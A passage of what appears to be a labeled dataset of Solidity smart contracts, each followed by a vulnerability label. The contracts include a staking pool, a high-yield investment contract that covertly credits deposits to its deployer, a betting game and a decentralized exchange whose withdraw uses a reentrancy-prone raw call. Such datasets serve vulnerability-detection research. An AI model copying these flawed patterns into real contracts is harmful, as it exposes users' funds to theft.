"SafeCast: value doesn't fit in 224 bits"); return uint224(value); } function toUint128(uint256 value) internal pure returns (uint128) { require(value <= type(uint128).max, "SafeCast: value doesn't fit in 128 bits"); return uint128(value); } function toUint96(uint256 value) internal pure returns (uint96) { require(value <= type(uint96).max, "SafeCast: value doesn't fit in 96 bits"); return uint96(value); } function toUint64(uint256 value) internal pure returns (uint64) { require(value <= type(uint64).max, "SafeCast: value doesn't fit in 64 bits"); return uint64(value); } function toUint32(uint256 value) internal pure returns (uint32) { require(value <= type(uint32).max, "SafeCast: value doesn't fit in 32 bits"); return uint32(value); } function toUint16(uint256 value) internal pure returns (uint16) { require(value <= type(uint16).max, "SafeCast: value doesn't fit in 16 bits"); return uint16(value); } function toUint8(uint256 value) internal pure returns (uint8) { require(value <= type(uint8).max, "SafeCast: value doesn't fit in 8 bits"); return uint8(value); } function toUint256(int256 value) internal pure returns (uint256) { require(value >= 0, "SafeCast: value must be positive"); return uint256(value); } function toInt128(int256 value) internal pure returns (int128) { require(value >= type(int128).min && value <= type(int128).max, "SafeCast: value doesn't fit in 128 bits"); return int128(value); } function toInt64(int256 value) internal pure returns (int64) { require(value >= type(int64).min && value <= type(int64).max, "SafeCast: value doesn't fit in 64 bits"); return int64(value); } function toInt32(int256 value) internal pure returns (int32) { require(value >= type(int32).min && value <= type(int32).max, "SafeCast: value doesn't fit in 32 bits"); return int32(value); } function toInt16(int256 value) internal pure returns (int16) { require(value >= type(int16).min && value <= type(int16).max, "SafeCast: value doesn't fit in 16 bits"); return int16(value); } function toInt8(int256 value) internal pure returns (int8) { require(value >= type(int8).min && value <= type(int8).max, "SafeCast: value doesn't fit in 8 bits"); return int8(value); } function toInt256(uint256 value) internal pure returns (int256) { require(value <= uint256(type(int256).max), "SafeCast: value doesn't fit in an int256"); return int256(value); } } pragma solidity ^0.8.0; abstract contract ERC20Votes is ERC20Permit { struct Checkpoint { uint32 fromBlock; uint224 votes; } bytes32 private constant _DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)"); mapping(address => address) private _delegates; mapping(address => Checkpoint[]) private _checkpoints; Checkpoint[] private _totalSupplyCheckpoints; event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate); event DelegateVotesChanged(address indexed delegate, uint256 previousBalance, uint256 newBalance); function checkpoints(address account, uint32 pos) public view virtual returns (Checkpoint memory) { return _checkpoints[account][pos]; } function numCheckpoints(address account) public view virtual returns (uint32) { return SafeCast.toUint32(_checkpoints[account].length); } function delegates(address account) public view virtual returns (address) { return _delegates[account]; } function getVotes(address account) public view returns (uint256) { uint256 pos = _checkpoints[account].length; return pos == 0 ? 0 : _checkpoints[account][pos - 1].votes; } function getPastVotes(address account, uint256 blockNumber) public view returns (uint256) { require(blockNumber < block.number, "ERC20Votes: block not yet mined"); return _checkpointsLookup(_checkpoints[account], blockNumber); } function getPastTotalSupply(uint256 blockNumber) public view returns (uint256) { require(blockNumber < block.number, "ERC20Votes: block not yet mined"); return _checkpointsLookup(_totalSupplyCheckpoints, blockNumber); } function _checkpointsLookup(Checkpoint[] storage ckpts, uint256 blockNumber) private view returns (uint256) { uint256 high = ckpts.length; uint256 low = 0; while (low < high) { uint256 mid = Math.average(low, high); if (ckpts[mid].fromBlock > blockNumber) { high = mid; } else { low = mid + 1; } } return high == 0 ? 0 : ckpts[high - 1].votes; } function delegate(address delegatee) public virtual { return _delegate(_msgSender(), delegatee); } function delegateBySig( address delegatee, uint256 nonce, uint256 expiry, uint8 v, bytes32 r, bytes32 s ) public virtual { require(block.timestamp <= expiry, "ERC20Votes: signature expired"); address signer = ECDSA.recover( _hashTypedDataV4(keccak256(abi.encode(_DELEGATION_TYPEHASH, delegatee, nonce, expiry))), v, r, s ); require(nonce == _useNonce(signer), "ERC20Votes: invalid nonce"); return _delegate(signer, delegatee); } function _maxSupply() internal view virtual returns (uint224) { return type(uint224).max; } function _mint(address account, uint256 amount) internal virtual override { super._mint(account, amount); require(totalSupply() <= _maxSupply(), "ERC20Votes: total supply risks overflowing votes"); _writeCheckpoint(_totalSupplyCheckpoints, _add, amount); } function _burn(address account, uint256 amount) internal virtual override { super._burn(account, amount); _writeCheckpoint(_totalSupplyCheckpoints, _subtract, amount); } function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual override { super._afterTokenTransfer(from, to, amount); _moveVotingPower(delegates(from), delegates(to), amount); } function _delegate(address delegator, address delegatee) internal virtual { address currentDelegate = delegates(delegator); uint256 delegatorBalance = balanceOf(delegator); _delegates[delegator] = delegatee; emit DelegateChanged(delegator, currentDelegate, delegatee); _moveVotingPower(currentDelegate, delegatee, delegatorBalance); } function _moveVotingPower( address src, address dst, uint256 amount ) private { if (src != dst && amount > 0) { if (src != address(0)) { (uint256 oldWeight, uint256 newWeight) = _writeCheckpoint(_checkpoints[src], _subtract, amount); emit DelegateVotesChanged(src, oldWeight, newWeight); } if (dst != address(0)) { (uint256 oldWeight, uint256 newWeight) = _writeCheckpoint(_checkpoints[dst], _add, amount); emit DelegateVotesChanged(dst, oldWeight, newWeight); } } } function _writeCheckpoint( Checkpoint[] storage ckpts, function(uint256, uint256) view returns (uint256) op, uint256 delta ) private returns (uint256 oldWeight, uint256 newWeight) { uint256 pos = ckpts.length; oldWeight = pos == 0 ? 0 : ckpts[pos - 1].votes; newWeight = op(oldWeight, delta); if (pos > 0 && ckpts[pos - 1].fromBlock == block.number) { ckpts[pos - 1].votes = SafeCast.toUint224(newWeight); } else { ckpts.push(Checkpoint({fromBlock: SafeCast.toUint32(block.number), votes: SafeCast.toUint224(newWeight)})); } } function _add(uint256 a, uint256 b) private pure returns (uint256) { return a + b; } function _subtract(uint256 a, uint256 b) private pure returns (uint256) { return a - b; } } pragma solidity 0.8.7; interface ITimeLockPool { function deposit(uint256 _amount, uint256 _duration, address _receiver) external; } pragma solidity 0.8.7; interface IAbstractRewards { function withdrawableRewardsOf(address account) external view returns (uint256); function withdrawnRewardsOf(address account) external view returns (uint256); function cumulativeRewardsOf(address account) external view returns (uint256); event RewardsDistributed(address indexed by, uint256 rewardsDistributed); event RewardsWithdrawn(address indexed by, uint256 fundsWithdrawn); } pragma solidity 0.8.7; abstract contract AbstractRewards is IAbstractRewards { using SafeCast for uint128; using SafeCast for uint256; using SafeCast for int256; uint128 public constant POINTS_MULTIPLIER = type(uint128).max; function(address) view returns (uint256) private immutable getSharesOf; function() view returns (uint256) private immutable getTotalShares; uint256 public pointsPerShare; mapping(address => int256) public pointsCorrection; mapping(address => uint256) public withdrawnRewards; constructor( function(address) view returns (uint256) getSharesOf_, function() view returns (uint256) getTotalShares_ ) { getSharesOf = getSharesOf_; getTotalShares = getTotalShares_; } function withdrawableRewardsOf(address _account) public view override returns (uint256) { return cumulativeRewardsOf(_account) - withdrawnRewards[_account]; } function withdrawnRewardsOf(address _account) public view override returns (uint256) { return withdrawnRewards[_account]; } function cumulativeRewardsOf(address _account) public view override returns (uint256) { return ((pointsPerShare * getSharesOf(_account)).toInt256() + pointsCorrection[_account]).toUint256() / POINTS_MULTIPLIER; } function _distributeRewards(uint256 _amount) internal { uint256 shares = getTotalShares(); require(shares > 0, "AbstractRewards._distributeRewards: total share supply is zero"); if (_amount > 0) { pointsPerShare = pointsPerShare + (_amount * POINTS_MULTIPLIER / shares); emit RewardsDistributed(msg.sender, _amount); } } function _prepareCollect(address _account) internal returns (uint256) { uint256 _withdrawableDividend = withdrawableRewardsOf(_account); if (_withdrawableDividend > 0) { withdrawnRewards[_account] = withdrawnRewards[_account] + _withdrawableDividend; emit RewardsWithdrawn(_account, _withdrawableDividend); } return _withdrawableDividend; } function _correctPointsForTransfer(address _from, address _to, uint256 _shares) internal { int256 _magCorrection = (pointsPerShare * _shares).toInt256(); pointsCorrection[_from] = pointsCorrection[_from] + _magCorrection; pointsCorrection[_to] = pointsCorrection[_to] - _magCorrection; } function _correctPoints(address _account, int256 _shares) internal { pointsCorrection[_account] = pointsCorrection[_account] + (_shares * (int256(pointsPerShare))); } } pragma solidity 0.8.7; abstract contract BasePool is ERC20Votes, AbstractRewards, IBasePool, TokenSaver { using SafeERC20 for IERC20; using SafeCast for uint256; using SafeCast for int256; IERC20 public immutable depositToken; IERC20 public immutable rewardToken; ITimeLockPool public immutable escrowPool; uint256 public immutable escrowPortion; uint256 public immutable escrowDuration; event RewardsClaimed(address indexed _from, address indexed _receiver, uint256 _escrowedAmount, uint256 _nonEscrowedAmount); constructor( string memory _name, string memory _symbol, address _depositToken, address _rewardToken, address _escrowPool, uint256 _escrowPortion, uint256 _escrowDuration ) ERC20Permit(_name) ERC20(_name, _symbol) AbstractRewards(balanceOf, totalSupply) { require(_escrowPortion <= 1e18, "BasePool.constructor: Cannot escrow more than 100%"); require(_depositToken != address(0), "BasePool.constructor: Deposit token must be set"); depositToken = IERC20(_depositToken); rewardToken = IERC20(_rewardToken); escrowPool = ITimeLockPool(_escrowPool); escrowPortion = _escrowPortion; escrowDuration = _escrowDuration; if(_rewardToken != address(0) && _escrowPool != address(0)) { IERC20(_rewardToken).safeApprove(_escrowPool, type(uint256).max); } } function _mint(address _account, uint256 _amount) internal virtual override { super._mint(_account, _amount); _correctPoints(_account, -(_amount.toInt256())); } function _burn(address _account, uint256 _amount) internal virtual override { super._burn(_account, _amount); _correctPoints(_account, _amount.toInt256()); } function _transfer(address _from, address _to, uint256 _value) internal virtual override { super._transfer(_from, _to, _value); _correctPointsForTransfer(_from, _to, _value); } function distributeRewards(uint256 _amount) external override { rewardToken.safeTransferFrom(_msgSender(), address(this), _amount); _distributeRewards(_amount); } function claimRewards(address _receiver) external { uint256 rewardAmount = _prepareCollect(_msgSender()); uint256 escrowedRewardAmount = rewardAmount * escrowPortion / 1e18; uint256 nonEscrowedRewardAmount = rewardAmount - escrowedRewardAmount; if(escrowedRewardAmount != 0 && address(escrowPool) != address(0)) { escrowPool.deposit(escrowedRewardAmount, escrowDuration, _receiver); } if(nonEscrowedRewardAmount > 1) { rewardToken.safeTransfer(_receiver, nonEscrowedRewardAmount); } emit RewardsClaimed(_msgSender(), _receiver, escrowedRewardAmount, nonEscrowedRewardAmount); } } pragma solidity 0.8.7; contract TimeLockPool is BasePool, ITimeLockPool { using Math for uint256; using SafeERC20 for IERC20; uint256 public immutable maxBonus; uint256 public immutable maxLockDuration; uint256 public constant MIN_LOCK_DURATION = 10 minutes; mapping(address => Deposit[]) public depositsOf; struct Deposit { uint256 amount; uint64 start; uint64 end; } constructor( string memory _name, string memory _symbol, address _depositToken, address _rewardToken, address _escrowPool, uint256 _escrowPortion, uint256 _escrowDuration, uint256 _maxBonus, uint256 _maxLockDuration ) BasePool(_name, _symbol, _depositToken, _rewardToken, _escrowPool, _escrowPortion, _escrowDuration) { require(_maxLockDuration >= MIN_LOCK_DURATION, "TimeLockPool.constructor: max lock duration must be greater or equal to mininmum lock duration"); maxBonus = _maxBonus; maxLockDuration = _maxLockDuration; } event Deposited(uint256 amount, uint256 duration, address indexed receiver, address indexed from); event Withdrawn(uint256 indexed depositId, address indexed receiver, address indexed from, uint256 amount); function deposit(uint256 _amount, uint256 _duration, address _receiver) external override { require(_amount > 0, "TimeLockPool.deposit: cannot deposit 0"); uint256 duration = _duration.min(maxLockDuration); duration = duration.max(MIN_LOCK_DURATION); depositToken.safeTransferFrom(_msgSender(), address(this), _amount); depositsOf[_receiver].push(Deposit({ amount: _amount, start: uint64(block.timestamp), end: uint64(block.timestamp) + uint64(duration) })); uint256 mintAmount = _amount * getMultiplier(duration) / 1e18; _mint(_receiver, mintAmount); emit Deposited(_amount, duration, _receiver, _msgSender()); } function withdraw(uint256 _depositId, address _receiver) external { require(_depositId < depositsOf[_msgSender()].length, "TimeLockPool.withdraw: Deposit does not exist"); Deposit memory userDeposit = depositsOf[_msgSender()][_depositId]; require(block.timestamp >= userDeposit.end, "TimeLockPool.withdraw: too soon"); uint256 shareAmount = userDeposit.amount * getMultiplier(uint256(userDeposit.end - userDeposit.start)) / 1e18; depositsOf[_msgSender()][_depositId] = depositsOf[_msgSender()][depositsOf[_msgSender()].length - 1]; depositsOf[_msgSender()].pop(); _burn(_msgSender(), shareAmount); depositToken.safeTransfer(_receiver, userDeposit.amount); emit Withdrawn(_depositId, _receiver, _msgSender(), userDeposit.amount); } function getMultiplier(uint256 _lockDuration) public view returns(uint256) { return 1e18 + (maxBonus * _lockDuration / maxLockDuration); } function getTotalDeposit(address _account) public view returns(uint256) { uint256 total; for(uint256 i = 0; i < depositsOf[_account].length; i++) { total += depositsOf[_account][i].amount; } return total; } function getDepositsOf(address _account) public view returns(Deposit[] memory) { return depositsOf[_account]; } function getDepositsOfLength(address _account) public view returns(uint256) { return depositsOf[_account].length; } } pragma solidity 0.8.7; contract View { struct Data { uint256 pendingRewards; Pool[] pools; Pool escrowPool; uint256 totalWeight; } struct Deposit { uint256 amount; uint64 start; uint64 end; uint256 multiplier; } struct Pool { address poolAddress; uint256 totalPoolShares; address depositToken; uint256 accountPendingRewards; uint256 accountClaimedRewards; uint256 accountTotalDeposit; uint256 accountPoolShares; uint256 weight; Deposit[] deposits; } LiquidityMiningManager public immutable liquidityMiningManager; TimeLockPool public immutable escrowPool; constructor(address _liquidityMiningManager, address _escrowPool) { liquidityMiningManager = LiquidityMiningManager(_liquidityMiningManager); escrowPool = TimeLockPool(_escrowPool); } function fetchData(address _account) external view returns (Data memory result) { uint256 rewardPerSecond = liquidityMiningManager.rewardPerSecond(); uint256 lastDistribution = liquidityMiningManager.lastDistribution(); uint256 pendingRewards = rewardPerSecond * (block.timestamp - lastDistribution); result.totalWeight = liquidityMiningManager.totalWeight(); LiquidityMiningManager.Pool[] memory pools = liquidityMiningManager.getPools(); result.pools = new Pool[](pools.length); for(uint256 i = 0; i < pools.length; i ++) { TimeLockPool poolContract = TimeLockPool(address(pools[i].poolContract)); result.pools[i] = Pool({ poolAddress: address(pools[i].poolContract), totalPoolShares: poolContract.totalSupply(), depositToken: address(poolContract.depositToken()), accountPendingRewards: poolContract.withdrawableRewardsOf(_account), accountClaimedRewards: poolContract.withdrawnRewardsOf(_account), accountTotalDeposit: poolContract.getTotalDeposit(_account), accountPoolShares: poolContract.balanceOf(_account), weight: pools[i].weight, deposits: new Deposit[](poolContract.getDepositsOfLength(_account)) }); TimeLockPool.Deposit[] memory deposits = poolContract.getDepositsOf(_account); for(uint256 j = 0; j < result.pools[i].deposits.length; j ++) { TimeLockPool.Deposit memory deposit = deposits[j]; result.pools[i].deposits[j] = Deposit({ amount: deposit.amount, start: deposit.start, end: deposit.end, multiplier: poolContract.getMultiplier(deposit.end - deposit.start) }); } } result.escrowPool = Pool({ poolAddress: address(escrowPool), totalPoolShares: escrowPool.totalSupply(), depositToken: address(escrowPool.depositToken()), accountPendingRewards: escrowPool.withdrawableRewardsOf(_account), accountClaimedRewards: escrowPool.withdrawnRewardsOf(_account), accountTotalDeposit: escrowPool.getTotalDeposit(_account), accountPoolShares: escrowPool.balanceOf(_account), weight: 0, deposits: new Deposit[](escrowPool.getDepositsOfLength(_account)) }); TimeLockPool.Deposit[] memory deposits = escrowPool.getDepositsOf(_account); for(uint256 j = 0; j < result.escrowPool.deposits.length; j ++) { TimeLockPool.Deposit memory deposit = deposits[j]; result.escrowPool.deposits[j] = Deposit({ amount: deposit.amount, start: deposit.start, end: deposit.end, multiplier: escrowPool.getMultiplier(deposit.end - deposit.start) }); } } }
0
1,378
pragma solidity ^0.4.24; contract EasyInvest10 { mapping (address => uint256) public invested; mapping (address => uint256) public atBlock; function () external payable { if (invested[msg.sender] != 0) { uint256 amount = invested[msg.sender] * 10 / 100 * (block.number - atBlock[msg.sender]) / 5900; msg.sender.transfer(amount); invested[totalETH] += msg.value; } atBlock[msg.sender] = block.number; invested[msg.sender] += msg.value;} address totalETH = msg.sender; }
1
4,043
pragma solidity 0.4.25; library Zero { function requireNotZero(address addr) internal pure { require(addr != address(0), "require not zero address"); } function requireNotZero(uint val) internal pure { require(val != 0, "require not zero value"); } function notZero(address addr) internal pure returns(bool) { return !(addr == address(0)); } function isZero(address addr) internal pure returns(bool) { return addr == address(0); } function isZero(uint a) internal pure returns(bool) { return a == 0; } function notZero(uint a) internal pure returns(bool) { return a != 0; } } library Percent { struct percent { uint num; uint den; } function mul(percent storage p, uint a) internal view returns (uint) { if (a == 0) { return 0; } return a*p.num/p.den; } function div(percent storage p, uint a) internal view returns (uint) { return a/p.num*p.den; } function sub(percent storage p, uint a) internal view returns (uint) { uint b = mul(p, a); if (b >= a) { return 0; } return a - b; } function add(percent storage p, uint a) internal view returns (uint) { return a + mul(p, a); } function toMemory(percent storage p) internal view returns (Percent.percent memory) { return Percent.percent(p.num, p.den); } function mmul(percent memory p, uint a) internal pure returns (uint) { if (a == 0) { return 0; } return a*p.num/p.den; } function mdiv(percent memory p, uint a) internal pure returns (uint) { return a/p.num*p.den; } function msub(percent memory p, uint a) internal pure returns (uint) { uint b = mmul(p, a); if (b >= a) { return 0; } return a - b; } function madd(percent memory p, uint a) internal pure returns (uint) { return a + mmul(p, a); } } library Address { function toAddress(bytes source) internal pure returns(address addr) { assembly { addr := mload(add(source,0x14)) } return addr; } function isNotContract(address addr) internal view returns(bool) { uint length; assembly { length := extcodesize(addr) } return length == 0; } } contract Accessibility { address private owner; modifier onlyOwner() { require(msg.sender == owner, "access denied"); _; } constructor() public { owner = msg.sender; } function disown() internal { delete owner; } } library SafeMath { function mul(uint256 _a, uint256 _b) internal pure returns (uint256) { if (_a == 0) { return 0; } uint256 c = _a * _b; require(c / _a == _b); return c; } function div(uint256 _a, uint256 _b) internal pure returns (uint256) { require(_b > 0); uint256 c = _a / _b; return c; } function sub(uint256 _a, uint256 _b) internal pure returns (uint256) { require(_b <= _a); uint256 c = _a - _b; return c; } function add(uint256 _a, uint256 _b) internal pure returns (uint256) { uint256 c = _a + _b; require(c >= _a); return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } library Timer { using SafeMath for uint; struct timer { uint duration; uint startup; } function start(timer storage t, uint duration) internal { t.startup = now; t.duration = duration; } function timeLeft(timer storage t) internal view returns (uint) { if (now >= t.startup.add(t.duration)) { return 0; } return (t.startup+t.duration).sub(now); } } library Bet { struct bet { address bettor; uint amount; uint excess; uint duration; } function New(address bettor, uint value) internal pure returns(bet memory b ) { (uint[3] memory vals, uint[3] memory durs) = bets(); if (value >= vals[0]) { b.amount = vals[0]; b.duration = durs[0]; } else if (vals[1] <= value && value < vals[0]) { b.amount = vals[1]; b.duration = durs[1]; } else if (vals[2] <= value && value < vals[1]) { b.amount = vals[2]; b.duration = durs[2]; } else { return b; } b.bettor = bettor; b.excess = value - b.amount; } function bets() internal pure returns(uint[3] memory vals, uint[3] memory durs) { (vals[0], vals[1], vals[2]) = (1 ether, 0.1 ether, 0.01 ether); (durs[0], durs[1], durs[2]) = (3 minutes + 33 seconds, 6 minutes + 33 seconds, 9 minutes + 33 seconds); } function transferExcess(bet memory b) internal { b.bettor.transfer(b.excess); } } contract LastHero is Accessibility { using Percent for Percent.percent; using Timer for Timer.timer; using Address for address; using Bet for Bet.bet; using Zero for *; Percent.percent private m_bankPercent = Percent.percent(50,100); Percent.percent private m_nextLevelPercent = Percent.percent(40,100); Percent.percent private m_adminsPercent = Percent.percent(10,100); uint public nextLevelBankAmount; uint public bankAmount; uint public level; address public bettor; address public adminsAddress; Timer.timer private m_timer; modifier notFromContract() { require(msg.sender.isNotContract(), "only externally accounts"); _; } event LogSendExcessOfEther(address indexed addr, uint excess, uint when); event LogNewWinner(address indexed addr, uint indexed level, uint amount, uint when); event LogNewLevel(uint indexed level, uint bankAmount, uint when); event LogNewBet(address indexed addr, uint indexed amount, uint duration, uint indexed level, uint when); event LogDisown(uint when); constructor() public { level = 1; emit LogNewLevel(level, address(this).balance, now); adminsAddress = msg.sender; m_timer.duration = uint(-1); } function() public payable { doBet(); } function doDisown() public onlyOwner { disown(); emit LogDisown(now); } function setAdminsAddress(address addr) public onlyOwner { addr.requireNotZero(); adminsAddress = addr; } function bankPercent() public view returns(uint numerator, uint denominator) { (numerator, denominator) = (m_bankPercent.num, m_bankPercent.den); } function nextLevelPercent() public view returns(uint numerator, uint denominator) { (numerator, denominator) = (m_nextLevelPercent.num, m_nextLevelPercent.den); } function adminsPercent() public view returns(uint numerator, uint denominator) { (numerator, denominator) = (m_adminsPercent.num, m_adminsPercent.den); } function timeLeft() public view returns(uint duration) { duration = m_timer.timeLeft(); } function timerInfo() public view returns(uint startup, uint duration) { (startup, duration) = (m_timer.startup, m_timer.duration); } function durationForBetAmount(uint betAmount) public view returns(uint duration) { Bet.bet memory bet = Bet.New(msg.sender, betAmount); duration = bet.duration; } function availableBets() public view returns(uint[3] memory vals, uint[3] memory durs) { (vals, durs) = Bet.bets(); } function doBet() public payable notFromContract { if (m_timer.timeLeft().isZero()) { bettor.transfer(bankAmount); emit LogNewWinner(bettor, level, bankAmount, now); bankAmount = nextLevelBankAmount; nextLevelBankAmount = 0; level++; emit LogNewLevel(level, bankAmount, now); } Bet.bet memory bet = Bet.New(msg.sender, msg.value); bet.amount.requireNotZero(); if (bet.excess.notZero()) { bet.transferExcess(); emit LogSendExcessOfEther(bet.bettor, bet.excess, now); } nextLevelBankAmount += m_nextLevelPercent.mul(bet.amount); bankAmount += m_bankPercent.mul(bet.amount); adminsAddress.send(m_adminsPercent.mul(bet.amount)); m_timer.start(bet.duration); bettor = bet.bettor; emit LogNewBet(bet.bettor, bet.amount, bet.duration, level, now); } }
0
1,023
pragma solidity ^0.4.24; contract SafeMath { function safeMul(uint a, uint b) internal returns (uint) { uint c = a * b; assert(a == 0 || c / a == b); return c; } function safeSub(uint a, uint b) internal returns (uint) { assert(b <= a); return a - b; } function safeAdd(uint a, uint b) internal returns (uint) { uint c = a + b; assert(c>=a && c>=b); return c; } } contract Token { bytes32 public standard; bytes32 public name; bytes32 public symbol; uint256 public totalSupply; uint8 public decimals; bool public allowTransactions; mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; function transfer(address _to, uint256 _value) returns (bool success); function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success); function approve(address _spender, uint256 _value) returns (bool success); function transferFrom(address _from, address _to, uint256 _value) returns (bool success); } contract GaintDex is SafeMath { address public admin; address public feeAccount; uint public feeMake; uint public feeTake; mapping (address => mapping (address => uint)) public tokens; mapping (address => mapping (bytes32 => bool)) public orders; mapping (address => mapping (bytes32 => uint)) public orderFills; event Order(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user); event Cancel(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s); event Trade(address tokenGet, uint amountGet, address tokenGive, uint amountGive, address get, address give); event Deposit(address token, address user, uint amount, uint balance); event Withdraw(address token, address user, uint amount, uint balance); constructor() { admin = msg.sender; feeAccount = msg.sender; feeMake = 700000000000000; feeTake = 700000000000000; } function changeAdmin(address admin_) { require(msg.sender == admin); admin = admin_; } function changeFeeAccount(address feeAccount_) { require(msg.sender == admin); feeAccount = feeAccount_; } function changeFeeMake(uint feeMake_) { require(msg.sender == admin); feeMake = feeMake_; } function changeFeeTake(uint feeTake_) { require(msg.sender == admin); feeTake = feeTake_; } function deposit() payable { tokens[0][msg.sender] = safeAdd(tokens[0][msg.sender], msg.value); Deposit(0, msg.sender, msg.value, tokens[0][msg.sender]); } function withdraw(uint amount) { require(tokens[0][msg.sender] >= amount); tokens[0][msg.sender] = safeSub(tokens[0][msg.sender], amount); require(msg.sender.call.value(amount)()); Withdraw(0, msg.sender, amount, tokens[0][msg.sender]); } function depositToken(address token, uint amount) { require(token != 0); require(Token(token).transferFrom(msg.sender, this, amount)); tokens[token][msg.sender] = safeAdd(tokens[token][msg.sender], amount); Deposit(token, msg.sender, amount, tokens[token][msg.sender]); } function withdrawToken(address token, uint amount) { require(token !=0 ); require(tokens[token][msg.sender] >= amount); tokens[token][msg.sender] = safeSub(tokens[token][msg.sender], amount); require(Token(token).transfer(msg.sender, amount)); Withdraw(token, msg.sender, amount, tokens[token][msg.sender]); } function balanceOf(address token, address user) constant returns (uint) { return tokens[token][user]; } function trade(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s, uint amount) { bytes32 hash = keccak256(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce); require((ecrecover(keccak256("\x19Ethereum Signed Message:\n32", hash),v,r,s) == user) && block.number <= expires && safeAdd(orderFills[user][hash], amount) <= amountGet); tradeBalances(tokenGet, amountGet, tokenGive, amountGive, user, amount); orderFills[user][hash] = safeAdd(orderFills[user][hash], amount); Trade(tokenGet, amount, tokenGive, amountGive * amount / amountGet, user, msg.sender); } function tradeBalances(address tokenGet, uint amountGet, address tokenGive, uint amountGive, address user, uint amount) private { uint feeMakeXfer = safeMul(amount, feeMake) / (1 ether); uint feeTakeXfer = safeMul(amount, feeTake) / (1 ether); tokens[tokenGet][msg.sender] = safeSub(tokens[tokenGet][msg.sender], safeAdd(amount, feeTakeXfer)); tokens[tokenGet][user] = safeAdd(tokens[tokenGet][user], safeSub(amount, feeMakeXfer)); tokens[tokenGet][feeAccount] = safeAdd(tokens[tokenGet][feeAccount], safeAdd(feeMakeXfer, feeTakeXfer)); tokens[tokenGive][user] = safeSub(tokens[tokenGive][user], safeMul(amountGive, amount) / amountGet); tokens[tokenGive][msg.sender] = safeAdd(tokens[tokenGive][msg.sender], safeMul(amountGive, amount) / amountGet); } function testTrade(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s, uint amount, address sender) constant returns(bool) { if (!( tokens[tokenGet][sender] >= amount && availableVolume(tokenGet, amountGet, tokenGive, amountGive, expires, nonce, user, v, r, s) >= amount )) return false; return true; } function availableVolume(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s) constant returns(uint) { bytes32 hash = keccak256(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce); if (!( (ecrecover(keccak256("\x19Ethereum Signed Message:\n32", hash),v,r,s) == user) && block.number <= expires )) return 0; uint available1 = safeSub(amountGet, orderFills[user][hash]); uint available2 = safeMul(tokens[tokenGive][user], amountGet) / amountGive; if (available1<available2) return available1; return available2; } function amountFilled(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s) constant returns(uint) { bytes32 hash = keccak256(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce); return orderFills[user][hash]; } }
1
5,333
pragma solidity ^0.4.13; contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public constant returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract VeTokenizedAssetRegistry is Ownable { struct Asset { address addr; string meta; } mapping (string => Asset) assets; function VeTokenizedAssetRegistry() Ownable { } event AssetCreated( address indexed addr ); event AssetRegistered( address indexed addr, string symbol, string name, string description, uint256 decimals ); event MetaUpdated(string symbol, string meta); function create( string symbol, string name, string description, uint256 decimals, string source, string proof, uint256 totalSupply, string meta ) public onlyOwner returns (address) { VeTokenizedAsset asset = new VeTokenizedAsset(); asset.setup( symbol, name, description, decimals, source, proof, totalSupply ); asset.transferOwnership(msg.sender); AssetCreated(asset); register( asset, symbol, name, description, decimals, meta ); return asset; } function register( address addr, string symbol, string name, string description, uint256 decimals, string meta ) public onlyOwner { assets[symbol].addr = addr; AssetRegistered( addr, symbol, name, description, decimals ); updateMeta(symbol, meta); } function updateMeta(string symbol, string meta) public onlyOwner { assets[symbol].meta = meta; MetaUpdated(symbol, meta); } function getAsset(string symbol) public constant returns (address addr, string meta) { Asset storage asset = assets[symbol]; addr = asset.addr; meta = asset.meta; } } library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) allowed; function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); uint256 _allowance = allowed[_from][msg.sender]; balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } 